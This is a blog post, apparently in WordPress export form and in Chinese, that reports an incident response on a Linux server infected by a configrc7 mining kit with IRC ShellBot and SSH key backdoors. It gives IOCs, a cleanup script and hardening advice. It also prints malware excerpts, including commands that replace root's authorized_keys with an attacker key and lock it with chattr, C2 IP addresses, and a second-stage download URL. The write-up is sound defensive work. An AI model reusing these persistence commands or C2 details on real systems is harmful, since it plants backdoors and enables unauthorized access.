{"id":88852,"date":"2026-08-01T21:08:46","date_gmt":"2026-08-01T13:08:46","guid":{"rendered":"https:\/\/www.wsisp.com\/helps\/88852.html"},"modified":"2026-08-01T21:08:46","modified_gmt":"2026-08-01T13:08:46","slug":"%e6%9c%8d%e5%8a%a1%e5%99%a8%e8%a2%ab%e9%bb%91%e6%8c%96%e7%9f%bf-ssh-%e5%90%8e%e9%97%a8%ef%bc%9a%e4%b8%80%e6%ac%a1-configrc7-%e5%ae%b6%e6%97%8f%e7%97%85%e6%af%92%e5%ae%8c%e6%95%b4%e6%ba%af%e6%ba%90","status":"publish","type":"post","link":"https:\/\/www.wsisp.com\/helps\/88852.html","title":{"rendered":"\u670d\u52a1\u5668\u88ab\u9ed1\u6316\u77ff + SSH \u540e\u95e8\uff1a\u4e00\u6b21 configrc7 \u5bb6\u65cf\u75c5\u6bd2\u5b8c\u6574\u6eaf\u6e90\u4e0e\u4e13\u6740\u5b9e\u5f55"},"content":{"rendered":"

\u6807\u7b7e：#Linux\u5b89\u5168 #\u6316\u77ff\u6728\u9a6c #\u540e\u95e8\u6e05\u9664 #\u5e94\u6025\u54cd\u5e94<\/h2>\n

0. \u5199\u5728\u524d\u9762<\/h3>\n

\u4eca\u5929\u4e0b\u5348\u6536\u5230\u4e24\u6761\u4e91\u5382\u5546\u544a\u8b66：\u670d\u52a1\u5668\u5728\u975e\u5e38\u7528\u5730\u767b\u5f55，\u5e76\u4e14\u5f00\u59cb\u5bf9\u5916\u53d1\u8d77 TCP:22 \u653b\u51fb，\u5e73\u53f0\u76f4\u63a5\u628a\u8fd9\u53f0 ECS \u7684\u51fa\u7ad9 22 \u7aef\u53e3\u5c01\u4e86\u3002\u767b\u4e0a\u673a\u5668\u4e00\u770b，CPU \u6ca1\u98d9\u9ad8，\u4f46 \/root \u4e0b\u591a\u4e86\u4e24\u4e2a\u9690\u85cf\u76ee\u5f55：.configrc7 \u548c .ssh\u3002\u968f\u540e\u7684\u9759\u6001\u5206\u6790\u8ba9\u6211\u6709\u70b9\u610f\u5916\u2014\u2014\u8fd9\u5df2\u7ecf\u4e0d\u662f\u5355\u7eaf\u7684\u6316\u77ff\u811a\u672c\u4e86，\u800c\u662f\u6316\u77ff + IRC \u8fdc\u63a7\u540e\u95e8 + SSH \u516c\u94a5\u540e\u95e8 + \u770b\u95e8\u72d7 + \u65e5\u5fd7\u64e6\u9664\u7684\u7ec4\u5408\u5957\u4ef6\u3002\u672c\u6587\u8bb0\u5f55\u4ece\u53d1\u73b0\u3001\u5206\u6790\u5230\u6e05\u9664\u7684\u5b8c\u6574\u8fc7\u7a0b，\u5e76\u653e\u51fa\u53ef\u76f4\u63a5\u4f7f\u7528\u7684\u4e13\u6740\u811a\u672c\u3002<\/p>\n

\u6838\u5fc3\u7ed3\u8bba\u524d\u7f6e： \u8fd9\u53f0\u670d\u52a1\u5668\u5df2\u88ab\u53d6\u5f97 root，\u4e14\u5b58\u5728\u591a\u6761\u6301\u4e45\u5316\u901a\u9053\u3002\u6e05\u5b8c\u6837\u672c\u2260\u5b89\u5168，\u5fc5\u987b\u6539\u5bc6\u7801\u3001\u6362\u5bc6\u94a5\u3001\u6392\u67e5\u6240\u6709\u540e\u95e8，\u5fc5\u8981\u65f6\u91cd\u88c5\u3002<\/p>\n

\n

1. \u4e8b\u53d1：\u4e91\u5e73\u53f0\u7684\u8fde\u73af\u544a\u8b66<\/h3>\n

\u5148\u4e0a\u4e24\u5f20\u544a\u8b66\u622a\u56fe\u3002<\/p>\n

\"\u56fe1\uff1a\u670d\u52a1\u5668\u5f02\u5e38\u767b\u5f55\u63d0\u9192\uff0c\u663e\u793a\u975e\u5e38\u7528\u5730\u767b\u5f55\"<\/p>\n

\"\u56fe2\uff1a\u4e91\u670d\u52a1\u5668\u5bf9\u5916\u53d1\u8d77
\n\u6536\u5230\u7b2c\u4e00\u6761\u201c\u5f02\u5e38\u767b\u5f55\u201d\u65f6\u6211\u8fd8\u5728\u60f3\u662f\u4e0d\u662f\u81ea\u5df1\u5fd8\u4e86\u5173\u4ee3\u7406；\u7b2c\u4e8c\u6761\u201c\u5bf9\u5916\u653b\u51fb TCP:22\u201d\u57fa\u672c\u5750\u5b9e：\u673a\u5668\u88ab\u9ed1，\u5e76\u4e14\u9ed1\u5ba2\u5728\u62ff\u5b83\u7ee7\u7eed\u6a2a\u5411\u626b\u63cf\/\u7206\u7834\u5176\u4ed6\u670d\u52a1\u5668\u3002\u5e73\u53f0\u628a\u51fa\u5411 22 \u7aef\u53e3\u5c01\u5230\u6b21\u65e5，\u7b49\u4e8e\u5f3a\u5236\u628a\u6211\u6309\u5728\u684c\u524d\u5904\u7406\u3002<\/p>\n

\n

2. \u73b0\u573a\u52d8\u67e5：\u4e24\u4e2a\u4e0d\u8d77\u773c\u7684\u9690\u85cf\u76ee\u5f55<\/h3>\n

\u767b\u5f55\u670d\u52a1\u5668\u540e\u7b2c\u4e00\u6b65\u770b \/root，\u56e0\u4e3a\u544a\u8b66\u662f root \u767b\u5f55\u3002\u5f88\u5feb\u53d1\u73b0\u4e24\u4e2a\u5f02\u5e38\u76ee\u5f55：<\/p>\n

\"\u56fe3\uff1a\/root<\/p>\n

\"\u56fe4\uff1a.ssh<\/p>\n

\u6ce8\u610f\u4e24\u4e2a\u7ec6\u8282：<\/p>\n

  • .configrc7 \u4fee\u6539\u65f6\u95f4\u662f 15:15:15，.ssh \u662f 15:19:11，\u4e8c\u8005\u76f8\u5dee\u7ea6 4 \u5206\u949f，\u7b26\u5408\u201c\u5148\u6295\u6316\u77ff\u3001\u518d\u88c5 SSH \u540e\u95e8\u201d\u7684\u65f6\u95f4\u7ebf\u3002<\/li>\n
  • .ssh \u88ab\u8bbe\u4e3a 700 \u4e14\u53ef\u80fd\u52a0\u4e86 chattr +ia（\u540e\u9762\u4f1a\u9a8c\u8bc1），\u53d7\u5bb3\u8005\u81ea\u5df1\u5220\u4e0d\u6389 authorized_keys\u3002<\/li>\n

    \u6211\u5148\u628a\u8fd9\u4e2a\u76ee\u5f55\u6811\u6253\u5305\u4e0b\u8f7d\u5230\u672c\u5730\u5206\u6790\u73af\u5883，\u5168\u7a0b\u53ea\u8bfb\u9759\u6001\u5206\u6790，\u7edd\u4e0d\u6267\u884c\u4efb\u4f55\u6837\u672c\u3002<\/p>\n

    \n

    3. \u6837\u672c\u9759\u6001\u5206\u6790：\u4e00\u4e2a\u201c\u5957\u9910\u201d\u5f0f\u75c5\u6bd2<\/h3>\n

    \u6837\u672c\u7ed3\u6784\u5982\u4e0b（\u5728\u88ab\u611f\u67d3\u670d\u52a1\u5668\u4e0a\u7684\u8def\u5f84\u4e3a \/root\/.configrc7）：<\/p>\n

    \/root\/.configrc7\/
    \n\u251c\u2500\u2500 a\/ # \u6316\u77ff\u7ec4\u4ef6
    \n\u2502 \u251c\u2500\u2500 crond # \u4e3b\u6316\u77ff\u4e8c\u8fdb\u5236（UPX \u6253\u5305\u7684 XMRig \u5bb6\u65cf ELF，2.2MB）
    \n\u2502 \u251c\u2500\u2500 cert.pem # \u81ea\u7b7e\u540d\u8bc1\u4e66（CN=localhost）
    \n\u2502 \u251c\u2500\u2500 cert_key.pem
    \n\u2502 \u251c\u2500\u2500 run # \u542f\u52a8\u811a\u672c：stop -> nohup .\/crond -> \u5199 bash.pid
    \n\u2502 \u251c\u2500\u2500 stop # \u6740\u6389\u7ade\u54c1\/\u5386\u53f2\u6316\u77ff\u8fdb\u7a0b\u540d
    \n\u2502 \u251c\u2500\u2500 upd # \u770b\u95e8\u72d7，\u88ab\u6740\u540e\u81ea\u52a8\u91cd\u542f .\/run
    \n\u2502 \u251c\u2500\u2500 a # \u5b89\u88c5\u5668：\u5199 MSR\u3001\u914d\u5927\u9875\u3001\u8bbe \/usr\/bin \u53ea\u8bfb
    \n\u2502 \u251c\u2500\u2500 init01\/init02 # \u6279\u91cf\u6e05\u7406\u5176\u5b83\u6316\u77ff\u6728\u9a6c
    \n\u2502 \u251c\u2500\u2500 delsshd # \u6e05\u7406\u7ade\u54c1\u542f\u52a8\u9879
    \n\u2502 \u2514\u2500\u2500 rmkwork # \u65e5\u5fd7\u64e6\u9664 + \u4e0b\u8f7d\u4e8c\u7ea7\u8f7d\u8377 kw0rker
    \n\u251c\u2500\u2500 b\/ # \u540e\u95e8\u7ec4\u4ef6
    \n\u2502 \u251c\u2500\u2500 run # \u81ea\u89e3\u538b\u811a\u672c：\u5185\u5d4c 3 \u4e2a Perl IRC bot + \u5b89\u88c5 SSH \u516c\u94a5
    \n\u2502 \u251c\u2500\u2500 a # \u5165\u53e3：cd \/root\/.configrc7\/b; .\/run
    \n\u2502 \u251c\u2500\u2500 stop # \u6e05\u573a：\u6740 edac0 \/ sync \/ ps \/ pool \u7b49
    \n\u2502 \u2514\u2500\u2500 sync # \u770b\u95e8\u72d7
    \n\u2514\u2500\u2500 cron.d # \u6301\u4e45\u5316\u8ba1\u5212\u4efb\u52a1<\/p>\n

    3.1 \u6316\u77ff\u7ec4\u4ef6 a\/<\/h4>\n

    a\/crond \u662f UPX \u6253\u5305\u7684 ELF，\u4f53\u79ef 2.2MB，\u8fd0\u884c\u540e\u8fdb\u7a0b\u540d\u663e\u793a\u4e3a crond（\u4f2a\u88c5）\u3002\u901a\u8fc7 strings \u53ef\u770b\u5230 msr\/xmr\/pool \u53ca UPX \u7279\u5f81，\u786e\u8ba4\u662f XMRig \u95e8\u7f57\u5e01\u6316\u77ff\u7a0b\u5e8f\u3002\u914d\u5957\u811a\u672c\u505a\u4e86 XMRig \u5178\u578b\u7684 CPU \u8c03\u4f18：<\/p>\n

    # \u6765\u81ea a\/a \u4e2d\u7684 optimize_func<\/span>
    \nwrmsr -a<\/span> 0xc0011020 0x4400000000000 # AMD Zen \u5bc4\u5b58\u5668\u8c03\u4f18<\/span>
    \nwrmsr -a<\/span> 0x1a4 0xf # Intel \u7981\u7528\u9884\u53d6<\/span>
    \nsysctl<\/span> -w<\/span> vm.nr_hugepages<\/span>=<\/span>$(<\/span>nproc)<\/span><\/span> # \u5927\u9875\u5185\u5b58<\/span><\/p>\n

    a\/run \u8d1f\u8d23\u542f\u52a8：.\/stop \u5148\u6e05\u573a \u2192 nohup .\/crond \u6316\u77ff \u2192 \u628a PID \u5199\u8fdb bash.pid\u3002a\/upd \u4f5c\u4e3a\u770b\u95e8\u72d7，\u6bcf\u5206\u949f\u68c0\u67e5 PID \u662f\u5426\u5b58\u6d3b，\u6b7b\u4e86\u5c31\u91cd\u542f\u3002<\/p>\n

    3.2 IRC \u540e\u95e8\u7ec4\u4ef6 b\/<\/h4>\n

    b\/run \u8868\u9762\u4e0a\u662f\u4e2a 111KB \u7684 shell \u811a\u672c，\u5f00\u5934\u4e09\u884c：<\/p>\n

    #!\/bin\/sh<\/span>
    \nnohup<\/span> .\/stop>><\/span>\/dev\/null &<\/span>
    \nsleep<\/span> 5<\/span><\/p>\n

    \u968f\u540e echo \u51fa\u4e09\u6bb5 base64，\u89e3\u7801\u540e\u662f 3 \u4e2a Perl \u201cStealth ShellBot\u201d IRC \u540e\u95e8：<\/p>\n

    my<\/span> $processo<\/span> =<\/span> 'edac0'<\/span>;<\/span> # \u4f2a\u88c5\u8fdb\u7a0b\u540d<\/span>
    \n$servidor<\/span>=<\/span>'0xB32B8B53'<\/span>;<\/span> # \u5341\u516d\u8fdb\u5236\u7f16\u7801\u7684 IP = 179.43.139.83<\/span>
    \nmy<\/span> $porta<\/span>=<\/span>'443'<\/span>;<\/span>
    \nmy<\/span> @canais<\/span>=<\/span>(<\/span>"#001"<\/span>)<\/span>;<\/span> # IRC \u9891\u9053<\/span>
    \nmy<\/span> @adms<\/span>=<\/span>(<\/span>"molly"<\/span>,<\/span>"polly"<\/span>)<\/span>;<\/span> # \u7ba1\u7406\u5458\u6635\u79f0<\/span><\/p>\n

    \u4e09\u4e2a\u540e\u95e8\u5206\u522b\u6307\u5411：<\/p>\n\n\u670d\u52a1\u5668\u7aef\u53e3\u9891\u9053\u4f2a\u88c5\u8fdb\u7a0b<\/tr>\n\n\n\n\n
    179.43.139.83<\/td>\n443<\/td>\n#001<\/td>\nedac0<\/td>\n<\/tr>\n
    179.43.139.83<\/td>\n443<\/td>\n#001<\/td>\nedac0<\/td>\n<\/tr>\n
    209.99.186.7<\/td>\n443<\/td>\n#009<\/td>\nedac0<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n

    \u4e5f\u5c31\u662f\u8bf4，\u673a\u5668\u4e0d\u53ea\u662f\u88ab\u6316\u77ff，\u8fd8\u88ab\u5e76\u5165\u4e86 IRC \u50f5\u5c38\u7f51\u7edc，\u968f\u65f6\u53ef\u80fd\u88ab\u4e0b\u53d1 DDoS\u3001\u4e0b\u8f7d\u3001\u53cd\u5f39 shell \u7b49\u6307\u4ee4\u3002<\/p>\n

    \u66f4\u72e0\u7684\u662f b\/run \u672b\u5c3e\u8fd9\u51e0\u884c：<\/p>\n

    chattr -ia<\/span> -R<\/span> ~\/.ssh
    \ncd<\/span> ~ &&<\/span> rm<\/span> -rf<\/span> .ssh &&<\/span> mkdir<\/span> .ssh &&<\/span> echo<\/span> "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4…== mdrfckr"<\/span>>><\/span>.ssh\/authorized_keys &&<\/span> chmod<\/span> -R<\/span> go<\/span>=<\/span> ~\/.ssh
    \nchattr +ia -R<\/span> ~\/.ssh<\/p>\n

    \u76f4\u63a5\u91cd\u5199 root \u7684 authorized_keys \u5e76\u52a0 immutable \u9501\u3002\u8fd9\u5c31\u662f\u544a\u8b66\u91cc\u201c\u5f02\u5e38\u767b\u5f55\u201d\u7684\u6765\u6e90\u2014\u2014\u9ed1\u5ba2\u7ed9\u81ea\u5df1\u7559\u4e86\u6c38\u4e45 SSH \u901a\u9053，\u6539\u5bc6\u7801\u90fd\u62e6\u4e0d\u4f4f\u3002<\/p>\n

    3.3 \u7b2c\u4e09\u5904\u9690\u85cf\u8f7d\u8377<\/h4>\n

    cron.d \u91cc\u8fd8\u85cf\u4e86\u4e00\u6761：<\/p>\n

    0 0 *\/3 * * \/tmp\/.X291-unix\/.rsync\/c\/aptitude >\/dev\/null 2>&1<\/p>\n

    \u8fd9\u662f\u72ec\u7acb\u4e8e a\/b \u7684\u7b2c\u4e09\u6bb5\u6301\u4e45\u5316，\u8bf4\u660e \/tmp\/.X291-unix \u4e0b\u4e5f\u53ef\u80fd\u6709\u8f7d\u8377，\u9700\u8981\u4e00\u5e76\u6e05\u7406\u3002<\/p>\n

    3.4 \u6301\u4e45\u5316\u4e0e\u53cd\u6e05\u7406\u624b\u6bb5<\/h4>\n

    \u6837\u672c\u628a Linux \u4e0b\u80fd\u7528\u7684\u53cd\u6e05\u7406\u624b\u6bb5\u57fa\u672c\u7528\u4e86\u4e00\u904d：<\/p>\n

  • \u8ba1\u5212\u4efb\u52a1：@reboot \u542f\u52a8\u770b\u95e8\u72d7，\u4fdd\u8bc1\u5f00\u673a\u590d\u6d3b；<\/li>\n
  • \u770b\u95e8\u72d7：a\/upd\u3001b\/sync \u76d1\u63a7\u8fdb\u7a0b，\u88ab\u6740\u5373\u91cd\u542f；<\/li>\n
  • \u4e0d\u53ef\u53d8\u5c5e\u6027：chattr +ia \u9501 .ssh\u3001~\/.configrc7\u3001\/usr\/bin\/systemtd；<\/li>\n
  • \u9690\u85cf\u5de5\u5177：\u628a\u771f\u5b9e chattr \u91cd\u547d\u540d\u4e3a lkei，\u8ba9\u53d7\u5bb3\u8005\u627e\u4e0d\u5230 chattr；<\/li>\n
  • \u76ee\u5f55\u53ea\u8bfb：\u5b89\u88c5\u5668 chmod -w \/usr\/bin，\u5bfc\u81f4\u4f60\u65e0\u6cd5\u5728 \/usr\/bin \u91cc\u65b0\u589e\/\u5220\u9664\u6587\u4ef6；<\/li>\n
  • \u8bf1\u9975\u6587\u4ef6：\u521b\u5efa \/usr\/bin\/systemtd \u4e0d\u53ef\u53d8\u7a7a\u6587\u4ef6；<\/li>\n
  • \u65e5\u5fd7\u64e6\u9664：rmkwork \u6e05\u7a7a \/var\/log\/auth.log\u3001wtmp\u3001lastlog\u3001btmp\u3001utmp \u7b49；<\/li>\n
  • \u7ade\u4e89\u6e05\u7406：init01\/init02 \u91cc\u6709\u4e00\u957f\u4e32\u7ade\u54c1\u6316\u77ff\u6728\u9a6c\u540d\u5355，\u76ee\u7684\u4e0d\u662f\u505a\u597d\u4e8b，\u800c\u662f\u4e3a\u4e86\u72ec\u5360 CPU\u3002<\/li>\n
    \n

    4. \u5904\u7f6e：\u4e13\u6740\u811a\u672c configrc7_killer.sh<\/h3>\n

    \u57fa\u4e8e\u4ee5\u4e0a IOC，\u6211\u5199\u4e86\u4e00\u4e2a\u4e13\u6740\u811a\u672c\u3002\u8bbe\u8ba1\u539f\u5219：<\/p>\n

      \n
    • \u6309\u8def\u5f84\/\u547d\u4ee4\u884c\u7cbe\u786e\u5339\u914d，\u4e0d\u8bef\u6740\u7cfb\u7edf\u6b63\u5e38 crond；<\/li>\n
    • \u5148\u6062\u590d\u73af\u5883（chattr\u3001\/usr\/bin \u5199\u6743\u9650），\u518d\u5220\u6587\u4ef6；<\/li>\n
    • \u4ec5\u5220\u9664\u653b\u51fb\u8005 SSH \u516c\u94a5，\u4fdd\u7559\u7528\u6237\u81ea\u5df1\u7684\u5408\u6cd5 key；<\/li>\n
    • \u652f\u6301 DRYRUN=1 \u5148\u6f14\u7ec3，\u652f\u6301 QUARANTINE=1 \u9694\u79bb\u4e0d\u5220\u9664\u3002<\/li>\n<\/ul>\n

      \u811a\u672c\u903b\u8f91：<\/p>\n

      1. \u6062\u590d \/usr\/bin \u5199\u6743\u9650，\u8fd8\u539f\u88ab\u91cd\u547d\u540d\u7684 chattr (lkei)
      \n2. chattr -iaR \u89e3\u9664\u5df2\u77e5\u8def\u5f84\u7684\u4e0d\u53ef\u53d8\u5c5e\u6027
      \n3. \u6309 exe\/cwd\/cmdline \u6740\u6076\u610f\u8fdb\u7a0b，\u5e76\u6309 C2 \u8fde\u63a5\u8865\u5200
      \n4. \u5220\u9664\/\u9694\u79bb \/root\/.configrc7\u3001\/tmp\/.X291-unix\u3001\/usr\/bin\/systemtd
      \n5. \u6e05\u7406\u653b\u51fb\u8005 SSH \u516c\u94a5，\u4fee\u6b63 .ssh \u6743\u9650
      \n6. \u6e05\u7406 crontab \u6301\u4e45\u5316
      \n7. iptables \u963b\u65ad C2 IP
      \n8. \u9a8c\u8bc1\u6b8b\u7559<\/p>\n

      \u6838\u5fc3\u4ee3\u7801\u7247\u6bb5（\u5b8c\u6574\u811a\u672c\u89c1\u9644\u4ef6\u6216\u6587\u672b\u94fe\u63a5）：<\/p>\n

      # \u7cbe\u786e\u6740\u8fdb\u7a0b，\u4e0d\u8bef\u4f24\u7cfb\u7edf crond<\/span>
      \nfor<\/span> pid<\/span> in<\/span> $(<\/span>ls<\/span> \/proc |<\/span> grep<\/span> -E<\/span> '^[0-9]+$'<\/span>)<\/span><\/span>;<\/span> do<\/span>
      \n exe<\/span>=<\/span>$(<\/span>readlink \/proc\/$pid\/exe 2<\/span>><\/span>\/dev\/null)<\/span><\/span>
      \n cwd<\/span>=<\/span>$(<\/span>readlink \/proc\/$pid\/cwd 2<\/span>><\/span>\/dev\/null)<\/span><\/span>
      \n cmd<\/span>=<\/span>$(<\/span>tr<\/span> '\\\\0'<\/span> ' '<\/span> <<\/span> \/proc\/$pid\/cmdline 2<\/span>><\/span>\/dev\/null)<\/span><\/span>
      \n case<\/span> "$exe<\/span>"<\/span> in<\/span> *".configrc7"<\/span>*|<\/span>*".X291-unix"<\/span>*)<\/span> kill<\/span> -9<\/span> $pid<\/span>;<\/span>;<\/span> esac<\/span>
      \n case<\/span> "$cwd<\/span>"<\/span> in<\/span> *".configrc7"<\/span>*|<\/span>*".X291-unix"<\/span>*)<\/span> kill<\/span> -9<\/span> $pid<\/span>;<\/span>;<\/span> esac<\/span>
      \n case<\/span> "$cmd<\/span>"<\/span> in<\/span> *".configrc7"<\/span>*|<\/span>"edac0"<\/span>*|<\/span>"kw0rker"<\/span>*)<\/span> kill<\/span> -9<\/span> $pid<\/span>;<\/span>;<\/span> esac<\/span>
      \ndone<\/span><\/p>\n

      # \u4ec5\u5220\u9664\u653b\u51fb\u8005\u516c\u94a5（\u4fdd\u7559\u5408\u6cd5 key）<\/span>
      \nATTACKER_KEY<\/span>=<\/span>"AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4"<\/span>
      \ngrep<\/span> -vF<\/span> "$ATTACKER_KEY<\/span>"<\/span> "$f<\/span>"<\/span> ><\/span> "$f<\/span>.tmp"<\/span> &&<\/span> mv<\/span> "$f<\/span>.tmp"<\/span> "$f<\/span>"<\/span><\/p>\n

      \u4f7f\u7528\u65b9\u6cd5<\/h4>\n

      # 0. \u4ee5 root \u4e0a\u4f20\u5230\u88ab\u611f\u67d3\u670d\u52a1\u5668<\/span>
      \nchmod<\/span> +x configrc7_killer.sh<\/p>\n

      # 1. \u5148\u53ea\u8bfb\u6f14\u7ec3<\/span>
      \nDRYRUN<\/span>=<\/span>1<\/span> bash<\/span> configrc7_killer.sh<\/p>\n

      # 2. \u6b63\u5f0f\u6e05\u9664<\/span>
      \nbash<\/span> configrc7_killer.sh<\/p>\n

      # 3. \u82e5\u60f3\u4fdd\u7559\u6837\u672c\u505a\u8fdb\u4e00\u6b65\u5206\u6790<\/span>
      \nQUARANTINE<\/span>=<\/span>1<\/span> bash<\/span> configrc7_killer.sh<\/p>\n

      \u6267\u884c\u540e\u67e5\u770b \/var\/log\/configrc7_killer.log \u4e0e verify() \u8f93\u51fa，\u786e\u8ba4\u65e0\u6b8b\u7559\u8fdb\u7a0b\u548c crontab\u3002<\/p>\n

      \n

      5. \u6e05\u9664\u540e\u7684\u5fc5\u505a\u5584\u540e<\/h3>\n

      \u518d\u6b21\u5f3a\u8c03：\u6837\u672c\u88ab\u6e05\u6389\u4e0d\u7b49\u4e8e\u673a\u5668\u5b89\u5168\u3002 \u56e0\u4e3a\u5b83\u5df2\u53d6\u5f97 root \u5e76\u690d\u5165\u4e86 SSH \u540e\u95e8，\u7406\u8bba\u4e0a\u53ef\u4ee5\u5199\u4efb\u610f\u6587\u4ef6\u3001\u6539\u4efb\u610f\u914d\u7f6e\u3002\u6e05\u9664\u6837\u672c\u540e\u5fc5\u987b\u505a：<\/p>\n

    • \u6539\u6240\u6709 SSH \u5bc6\u7801，\u5305\u62ec root \u548c\u5176\u4ed6\u6240\u6709\u8d26\u6237；<\/li>\n
    • \u8f6e\u6362\u6240\u6709\u5bc6\u94a5，\u68c0\u67e5\u6bcf\u4e2a\u7528\u6237\u7684 ~\/.ssh\/authorized_keys；<\/li>\n
    • \u6392\u67e5\u9690\u85cf\u540e\u95e8：systemctl list-units\u3001\/etc\/rc.local\u3001\/etc\/profile.d\/\u3001\/etc\/init.d\/\u3001\/etc\/cron.*；<\/li>\n
    • \u9632\u706b\u5899\u5c01\u7981 C2：179.43.139.83\u3001209.99.186.7\u3001208.84.102.192；<\/li>\n
    • \u5982\u65e0\u6cd5\u786e\u8ba4\u5e72\u51c0，\u5efa\u8bae\u91cd\u88c5\u7cfb\u7edf\u6216\u4ece\u53ef\u4fe1\u5907\u4efd\u6062\u590d\u3002<\/li>\n
      \n

      6. \u590d\u76d8\u4e0e\u9632\u5fa1\u5efa\u8bae<\/h3>\n

      \u8fd9\u6b21\u5165\u4fb5\u7684\u5165\u53e3\u6700\u53ef\u80fd\u662f SSH \u5f31\u53e3\u4ee4 \/ \u5bc6\u94a5\u6cc4\u9732\u3002\u9632\u5fa1\u5efa\u8bae：<\/p>\n

        \n
      • \u7981\u6b62 root \u5bc6\u7801\u767b\u5f55，\u6539\u7528\u5bc6\u94a5\u767b\u5f55；<\/li>\n
      • \u4fee\u6539\u9ed8\u8ba4 22 \u7aef\u53e3，\u6216\u9650\u5236\u6765\u6e90 IP；<\/li>\n
      • \u5b89\u88c5 fail2ban \/ \u4e91\u5382\u5546\u5b89\u5168\u7ec4\u505a\u767b\u5f55\u9891\u6b21\u9650\u5236；<\/li>\n
      • \u654f\u611f\u670d\u52a1\u5668\u5173\u95ed\u516c\u7f51 SSH，\u6539\u8d70\u8df3\u677f\u673a \/ \u5821\u5792\u673a；<\/li>\n
      • \u5b9a\u671f\u5907\u4efd + \u76d1\u63a7 \/root \/tmp \/var\/tmp \u4e0b\u5f02\u5e38\u9690\u85cf\u76ee\u5f55；<\/li>\n
      • \u91cd\u8981\u4e1a\u52a1\u8d44\u4ea7\u542f\u7528\u9632\u7be1\u6539（\u4f46\u4e0d\u662f\u9760 chattr +ia \u8fd9\u79cd\u53ef\u7ed5\u8fc7\u7684\u5c0f\u6280\u5de7）\u3002<\/li>\n<\/ul>\n
        \n

        \u9644\u5f55：\u5b8c\u6574 IOC \u6e05\u5355<\/h3>\n\n\u7c7b\u578bIOC<\/tr>\n\n\n\n\n\n\n\n\n\n\n\n
        \u5b89\u88c5\u76ee\u5f55<\/td>\n\/root\/.configrc7\/a\/\u3001\/root\/.configrc7\/b\/<\/td>\n<\/tr>\n
        \u9690\u85cf\u8f7d\u8377<\/td>\n\/tmp\/.X291-unix\/.rsync\/c\/aptitude<\/td>\n<\/tr>\n
        \u6316\u77ff\u8fdb\u7a0b<\/td>\n\u771f\u5b9e\u8def\u5f84\u542b .configrc7\/a\/crond，\u8fdb\u7a0b\u540d\u4f2a\u88c5\u4e3a crond<\/td>\n<\/tr>\n
        IRC bot \u8fdb\u7a0b<\/td>\n\u4f2a\u88c5\u8fdb\u7a0b\u540d edac0<\/td>\n<\/tr>\n
        SSH \u540e\u95e8\u516c\u94a5<\/td>\nssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4…== mdrfckr<\/td>\n<\/tr>\n
        \u770b\u95e8\u72d7<\/td>\n\/root\/.configrc7\/a\/upd\u3001\/root\/.configrc7\/b\/sync<\/td>\n<\/tr>\n
        \u8bf1\u9975\/\u9501\u6587\u4ef6<\/td>\n\/usr\/bin\/systemtd\u3001\u88ab\u91cd\u547d\u540d\u7684 \/usr\/bin\/lkei<\/td>\n<\/tr>\n
        C2 IP<\/td>\n179.43.139.83:443\u3001209.99.186.7:443<\/td>\n<\/tr>\n
        \u4e8c\u7ea7\u4e0b\u8f7d<\/td>\nhttp:\/\/208.84.102.192\/kw0rker<\/td>\n<\/tr>\n
        \u8ba1\u5212\u4efb\u52a1\u6807\u8bb0<\/td>\n.configrc7\u3001.X291\u3001\/a\/upd\u3001\/b\/sync\u3001aptitude<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n
        \n

        \u5982\u679c\u4f60\u4e5f\u9047\u5230 .configrc7 \u8fd9\u4e2a\u76ee\u5f55，\u53ef\u4ee5\u76f4\u63a5\u7528\u4e0a\u9762\u7684\u4e13\u6740\u811a\u672c\u3002\u5982\u679c\u811a\u672c\u5728\u4f60\u7684\u53d1\u884c\u7248\u4e0a\u8dd1\u4e0d\u901a，\u6b22\u8fce\u5728\u8bc4\u8bba\u533a\u8d34\u62a5\u9519，\u6211\u4f1a\u6301\u7eed\u66f4\u65b0\u3002<\/p>\n","protected":false},"excerpt":{"rendered":"

        \u6807\u7b7e：#Linux\u5b89\u5168 #\u6316\u77ff\u6728\u9a6c #\u540e\u95e8\u6e05\u9664 #\u5e94\u6025\u54cd\u5e94
        \n0. \u5199\u5728\u524d\u9762
        \n\u4eca\u5929\u4e0b\u5348\u6536\u5230\u4e24\u6761\u4e91\u5382\u5546\u544a\u8b66：\u670d\u52a1\u5668\u5728\u975e\u5e38\u7528\u5730\u767b\u5f55，\u5e76\u4e14\u5f00\u59cb\u5bf9\u5916\u53d1\u8d77 TCP:22 \u653b\u51fb，\u5e73\u53f0\u76f4\u63a5\u628a\u8fd9\u53f0 ECS \u7684\u51fa\u7ad9 22 \u7aef\u53e3\u5c01\u4e86\u3002\u767b\u4e0a\u673a\u5668\u4e00\u770b，CPU \u6ca1\u98d9\u9ad8，\u4f46 \/root \u4e0b\u591a\u4e86\u4e24\u4e2a\u9690\u85cf\u76ee\u5f55：.configrc7 \u548c .ssh\u3002\u968f\u540e\u7684\u9759\u6001\u5206\u6790\u8ba9\u6211\u6709\u70b9\u610f\u5916\u2014\u2014\u8fd9\u5df2\u7ecf\u4e0d\u662f\u5355\u7eaf\u7684\u6316\u77ff\u811a\u672c\u4e86&#xff0<\/p>\n","protected":false},"author":2,"featured_media":88848,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[58,61],"topic":[],"class_list":["post-88852","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-server","tag-linux","tag-61"],"yoast_head":"\n\u670d\u52a1\u5668\u88ab\u9ed1\u6316\u77ff + SSH \u540e\u95e8\uff1a\u4e00\u6b21 configrc7 \u5bb6\u65cf\u75c5\u6bd2\u5b8c\u6574\u6eaf\u6e90\u4e0e\u4e13\u6740\u5b9e\u5f55 - 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